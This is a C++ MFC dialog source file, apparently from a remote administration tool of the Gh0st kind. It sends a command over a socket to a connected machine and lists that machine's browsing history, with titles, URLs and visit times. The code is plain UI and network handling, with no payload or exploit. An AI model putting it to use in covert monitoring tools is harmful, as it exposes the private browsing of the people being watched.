2024-06-23 17:36:53 +08:00

163 lines
3.4 KiB
C++

// UrlDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "Client.h"
#include "UrlDlg.h"
extern CString strHost;
// CUrlDlg 对话框
IMPLEMENT_DYNAMIC(CUrlDlg, CDialog)
CUrlDlg::CUrlDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CUrlDlg::IDD, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bOnClose = FALSE;
}
void CUrlDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_URL, m_list_url);
}
BEGIN_MESSAGE_MAP(CUrlDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
END_MESSAGE_MAP()
// CUrlDlg 消息处理程序
void CUrlDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_XLIST:
ShowUrlList();
break;
default:
// 传输发生异常数据
break;
}
}
void CUrlDlg::ShowUrlList()
{
m_list_url.DeleteAllItems();
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
char *strTitle;
char *strUrl;
char *strTime;
DWORD dwOffset = 0;
int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
strTitle = lpBuffer + dwOffset;
strUrl = strTitle + lstrlen(strTitle) +1;
strTime = strUrl + lstrlen(strUrl) + 1;
m_list_url.InsertItem(i, strTitle,0);
m_list_url.SetItemText(i, 1, strUrl);
m_list_url.SetItemText(i, 2, strTime);
dwOffset += lstrlen(strTitle) + lstrlen(strUrl) + lstrlen(strTime) + 3;
}
}
void CUrlDlg::GetUrlList()
{
BYTE bToken = COMMAND_XLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
BOOL CUrlDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
// str.Format("服务管理 \\\\%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
str.Format(_T("[%s - %s] 网页记录"), strHost,bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);
// HWND hWndHeader = m_list_url.GetDlgItem(0)->GetSafeHwnd();
// m_header.SubclassWindow(hWndHeader);
m_list_url.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_list_url.InsertColumn(0, _T("标题"), LVCFMT_LEFT, 200);
m_list_url.InsertColumn(1, _T("网址"), LVCFMT_LEFT, 430);
m_list_url.InsertColumn(2,_T("上次访问时间"),LVCFMT_LEFT,150);
ShowUrlList();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CUrlDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
closesocket(m_pContext->m_Socket);
m_bOnClose = TRUE;
CDialog::OnClose();
}
void CUrlDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: 在此处添加消息处理程序代码
if (!IsWindowVisible())
return;
RECT rectClient;
RECT rectlist;
GetClientRect(&rectClient);
rectlist.left = 0;
rectlist.top = 0;
rectlist.right = rectClient.right;
rectlist.bottom = rectClient.bottom;
m_list_url.MoveWindow(&rectlist);
}
void CUrlDlg::PostNcDestroy()
{
// TODO: 在此添加专用代码和/或调用基类
if(!m_bOnClose)
OnClose();
delete this;
CDialog::PostNcDestroy();
}
BOOL CUrlDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
{
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}